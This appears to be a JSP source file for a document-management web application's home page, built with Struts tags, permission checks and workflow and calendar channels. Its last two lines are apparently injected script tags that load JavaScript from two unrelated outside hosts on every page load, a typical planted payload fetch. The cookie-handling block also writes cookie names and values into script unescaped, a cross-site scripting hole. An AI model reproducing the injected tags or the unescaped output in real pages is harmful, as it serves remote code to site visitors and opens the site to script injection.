<%
/*
 * @(#)Home.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of
 * DCIVision Ltd ("Confidential Information").  You shall not
 * disclose such Confidential Information and shall use it only in
 * accordance with the terms of the license agreement you entered into
 * with DCIVision Ltd.
 */


/**

  Home.jsp

  This is a Home page.

    @author             Zoe Shum
    @company            DCIVision Ltd
    @creation date      01/11/2003
    @version            $Revision: 1.27.2.19 $
*/

%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ taglib uri="/tags/dms" prefix="dms" %>
<%@ page import="com.dcivision.framework.*" %>
<%@ page import="com.dcivision.user.bean.*" %>
<%@ page import="com.dcivision.framework.taglib.channel.AjaxConstant"%>
<%@ page import="java.util.List"%>
<%@ page import="org.apache.commons.logging.LogFactory"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="listPersonalHomeForm" scope="request" class="com.dcivision.framework.web.ListPersonalHomeForm"/>
<link media="screen" href="<%= request.getContextPath() %>/theme/pref<%=sessionContainer.getPreference()%>/css/common/HomePageStyle.css" charset="UTF-8" type="text/css" rel="stylesheet">

<%
  /****************************************************************************
   * List Attributes Configuration Begin                                      *
   ****************************************************************************/
  //Get current user's disable view channels
  String disableViewChannels = listPersonalHomeForm.getDisableViewChannels();
  String enableViewChannels = listPersonalHomeForm.getAbleViewChannels();
   
  boolean accessSystemLogs = listPersonalHomeForm.getAccessSystemLogs();
  boolean accessCalendars = listPersonalHomeForm.getbAccessCalendar();
  boolean accessRecentlyAccessList = listPersonalHomeForm.getAccessRecentlyAccessList();
  boolean accessWorkflowTaskList = listPersonalHomeForm.getAccessWorkflowTaskList();
  boolean accessWorkflowTrackingList = listPersonalHomeForm.getAccessWorkflowTrackingList();
  boolean shortcutAccessible= (!(sessionContainer.getAppContainer()!=null && sessionContainer.getAppContainer().isLightVersion())
          && (disableViewChannels.indexOf(PersonalHomePreference.TOOLS)==-1)
          && (((sessionContainer.hasAccessRight(SystemFunctionConstant.DMS_PUBLIC_FOLDER, "R")
                      || sessionContainer.hasAccessRight(SystemFunctionConstant.DMS_PERSONAL_FOLDER, "R")))
          || ((sessionContainer.hasAccessRight(SystemFunctionConstant.DMS_PUBLIC_FOLDER, "R")
                      || sessionContainer.hasAccessRight(SystemFunctionConstant.DMS_PERSONAL_FOLDER, "R"))
                      && (sessionContainer.getAppContainer()!=null && !sessionContainer.getAppContainer().isLightVersion()))
          || ((sessionContainer.hasAccessRight(SystemFunctionConstant.DMS_PUBLIC_FOLDER, "R")
                      || sessionContainer.hasAccessRight(SystemFunctionConstant.DMS_PERSONAL_FOLDER, "R"))
                      && com.dcivision.framework.SystemParameterFactory.getSystemParameterBoolean(com.dcivision.framework.SystemParameterConstant.DMS_ENABLE_BULK_SEARCH))
          || (sessionContainer.hasAccessRight(SystemFunctionConstant.DMS_EMPTY_FILE, "I"))
          || (sessionContainer.hasAccessRight(SystemFunctionConstant.WORKFLOW_TASK,"R")
                      && SystemParameterFactory.getSystemParameterBoolean("dms.enable_paper_document") )));
  

 boolean recentlyAccessible = accessRecentlyAccessList&&(disableViewChannels.indexOf(PersonalHomePreference.RECENTLY_ACCESSED_DOC)==-1);
  
 //List channelList = (List)request.getAttribute("channelList");
  String LIST_NAME = "channelList";
  if(!Utility.isEmpty(session.getAttribute("pageFlag"))){
  session.setAttribute("pageFlag",null);
  }else{
  session.setAttribute("pageFlag",null);
  }

  /****************************************************************************
   * List Attributes Configuration End
   ****************************************************************************/
%>
<layout:returnButton/>
<%!String channelStyle="scrollbar-3dlight-color:#D4E3FC;scrollbar-arrow-color:#FFFFFF;scrollbar-base-color:#ADBEDB;scrollbar-darkshadow-color:#7E97C4;scrollbar-face-color:#ADBEDB;scrollbar-highlight-color:#ADBEDB;scrollbar-shadow-color:#D4E3FC;width:100%;height:114px;overflow:auto;background-color:#F1F1F1;border-style:solid;border-width:0;";%>

<!-- Page Title Section Begin -->

<%try{%>
<%if (sessionContainer.getPermissionManager().isAdmin()) {%>
  <jsp:include page='ChannelAdminLogin.jsp' flush='true'/>
<%} else {%>
<!--[if lt IE 7]>
<script defer type="text/javascript" src="js/pngfix.js"></script>
<![endif]-->

<script language="Javascript" src="<%= request.getContextPath() %>/js/DMSFunction.jsp" charset="UTF-8" type="text/javascript"></script>
<script type='text/javascript' src='<%=request.getContextPath()%>/dwr/interface/AjaxChannelProcessor.js'></script>
<script type='text/javascript' src='<%=request.getContextPath()%>/dwr/interface/AjaxEventProcessor.js'></script>
<script type='text/javascript' src='<%=request.getContextPath()%>/dwr/engine.js'></script>
<script type='text/javascript' src='<%=request.getContextPath()%>/dwr/util.js'> </script>
<script type='text/javascript' src='<%=request.getContextPath()%>/js/Channel.js'> </script>
<script type='text/javascript' src='<%=request.getContextPath()%>/js/NewChannel.js'> </script>
<jsp:include page="/js/Channel.jsp" flush="true"/>

<!-- Form Section Begin -->
<html:form action="/Home" method="GET">
<html:hidden property="opMode" value=""/>
<html:hidden property="navMode"/>
<html:hidden property="sortAttribute"/>
<html:hidden property="sortOrder"/>
<html:hidden property="curStartRowNo"/>

<!-- Options for home preference -->
<html:hidden property="accessSystemLogs"/>
<html:hidden property="accessRecentlyAccessList"/>
<html:hidden property="accessWorkflowTaskList"/>
<html:hidden property="accessWorkflowTrackingList"/>
<html:hidden property="currListType"/>
<html:hidden property="systemLogsCurStartRowNo"/>

<html:hidden property="curFunctionCode"/>
<html:hidden property="documentID"/>
<html:hidden property="parentID"/>
<html:hidden property="rootID"/>
<html:hidden property="disableActionType"/>
<html:hidden property="actionSystemLogID" value=""/>
<html:hidden property="basicSelectedID" value=""/>
<input type="hidden" name="directPage" value="">
<input type="hidden" id="refreshChannel" value="" onchange="reStartFreshRequenceDataByDivName(this.value)">
</html:form>
<!-- Form Section End -->
<table border="0" cellspace="0" width="100%">
<tr>
<%if(shortcutAccessible||recentlyAccessible){ %>
<td class="home_left_panel">
<jsp:include page="../layout/HomeMenu.jsp">
  <jsp:param name="shortcutAccessible" value="<%=shortcutAccessible%>"/>
  <jsp:param name="recentlyAccessible" value="<%=recentlyAccessible%>"/>
</jsp:include>
</td>
<td class="home_left_panel_spacer"></td>
<%} %>
<td valign="top">
    <!-- System And Error Messages Begin -->
    <div id="messagePannel"><!--Ajax error will put here to_TC.add--></div>
    <br>
    <logic:iterate id="channelString" name="<%=LIST_NAME%>" scope="request" indexId="listLoopCnt">
        <%String channelStr = (String)channelString;%>
            <%if (accessCalendars==true && (channelStr.indexOf(PersonalHomePreference.CALENDAR_MEETING_LIST)>=0)) {%>
            <!-- Meeting & Event List -->
            <div class="channel">
            <layout:channel icon="IconMeeting.gif" label="calendar.columnheader.meeting_event_list" link="/calendar/ListCalendar.do" filterName="<%=PersonalHomePreference.CALENDAR_MEETING_LIST%>" enabledChannelStr ="<%=enableViewChannels%>" isAjax='true'>
                <layout:channelColumn classStyle="priorityColumn" column="workflow.columnheader.priority" align="center" separator="false"/>
                <layout:channelColumn column="calendar.columnheader.title"/>
                <layout:channelColumn column="calendar.label.recur_start_date"/>
            </layout:channel>
            </div>
            <br>
            <%}%>
            <%if (!(sessionContainer.getAppContainer()!=null && sessionContainer.getAppContainer().isLightVersion())) {%>
            <%if (accessSystemLogs==true && (channelStr.indexOf(PersonalHomePreference.SYSTEM_LOGS)>=0)){%>
            <!-- Message List -->
            <div class="channel">
            <layout:channel icon="IconMessages.gif" isShowButton="true"  label="home.label.system_logs" link="/ListSystemMessage.do" filterName="<%=PersonalHomePreference.SYSTEM_LOGS%>" enabledChannelStr ="<%=enableViewChannels%>" isAjax='true'>
              <layout:channelColumn column="home.label.message_id" separator="false"/>
              <layout:channelColumn classStyle="width3"column="dms.label.email_sender"/>
              <layout:channelColumn column="dms.label.email_subject"/>
              <layout:channelColumn classStyle="width1"column="home.label.received_date"/>
            </layout:channel>
            </div>
            <br>
            <%}%>
            <%}%>
            <%if (accessWorkflowTaskList==true && (channelStr.indexOf(PersonalHomePreference.PENDING_WORKFLOW_TASK)>=0)){%>
            <!-- Workflow Task List -->
            <div class="channel">
            <layout:channel icon="IconTasklists.gif" label="home.label.pending_working_task" link="/workflow/ListWorkflowTask.do" filterName="<%=PersonalHomePreference.PENDING_WORKFLOW_TASK%>" enabledChannelStr ="<%=enableViewChannels%>" isAjax='true'>
                <layout:channelColumn column="IconPriority.gif" icon="true" separator="false"/>
                <layout:channelColumn column="IconGreyFlag.gif" icon="true"/>
                <layout:channelColumn column="workflow.label.track_id"/>
                <layout:channelColumn classStyle="stepnameColumn" column="workflow.columnheader.step_name"/>
                <layout:channelColumn column="dms.columnheader.reference"/>
                <layout:channelColumn classStyle="width1" column="workflow.columnheader.due_date"/>
                <layout:channelColumn classStyle="width1" column="workflow.columnheader.from_whom"/>
            </layout:channel>
            </div>
            <br>
            <%}%>
            <%if (accessWorkflowTrackingList==true && (channelStr.indexOf(PersonalHomePreference.WORKFLOW_TRACKING_LIST)>=0)){%>
            <!-- Workflow Tracking List -->
            <div class="channel">
            <layout:channel icon="IconProgressmon.gif" label="home.label.workflow_tracking" link="/workflow/ListWorkflowTrack.do" filterName="<%=PersonalHomePreference.WORKFLOW_TRACKING_LIST%>" enabledChannelStr ="<%=enableViewChannels%>" isAjax='true'>
                <layout:channelColumn column="IconPriority.gif" icon="true" separator="false"/>
                <layout:channelColumn column="IconGreyFlag.gif" icon='true'/>
                <layout:channelColumn column="workflow.label.track_id"/>
                <layout:channelColumn classStyle="stepnameColumn" column="workflow.columnheader.stage_or_step_name"/>
                <layout:channelColumn column="dms.columnheader.reference"/>
                <layout:channelColumn classStyle="width1" column="workflow.columnheader.due_date"/>
                <layout:channelColumn classStyle="width1" column="workflow.label.assigned_to"/>
            </layout:channel>
            </div>
            <br>
            <%}%>
    </logic:iterate>
</td>
</tr>
</table>
<%}%>

<%
  } catch (Exception e) {
    LogFactory.getLog(this.getClass()).error(e, e);
  }
%>

<script language="javascript">
<%
boolean isShowMenuFlag = true;
Cookie[] cookieAry = request.getCookies();
if (cookieAry != null) {
  for (int i = 0; i < cookieAry.length; i++) {
    if (cookieAry[i].getName().endsWith("Div")) {
      // It's the channel show hide cookie
%>
      if (typeof <%=cookieAry[i].getName()%>Count =='undefined' || <%=cookieAry[i].getName()%>Count==0){
        hideBlock ( '<%=cookieAry[i].getName()%>' );
      }else{
        setShowHide ( '<%=cookieAry[i].getName()%>', '<%=cookieAry[i].getValue()%>' );
      }
<%
    }
  }
}
%>

</script>

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>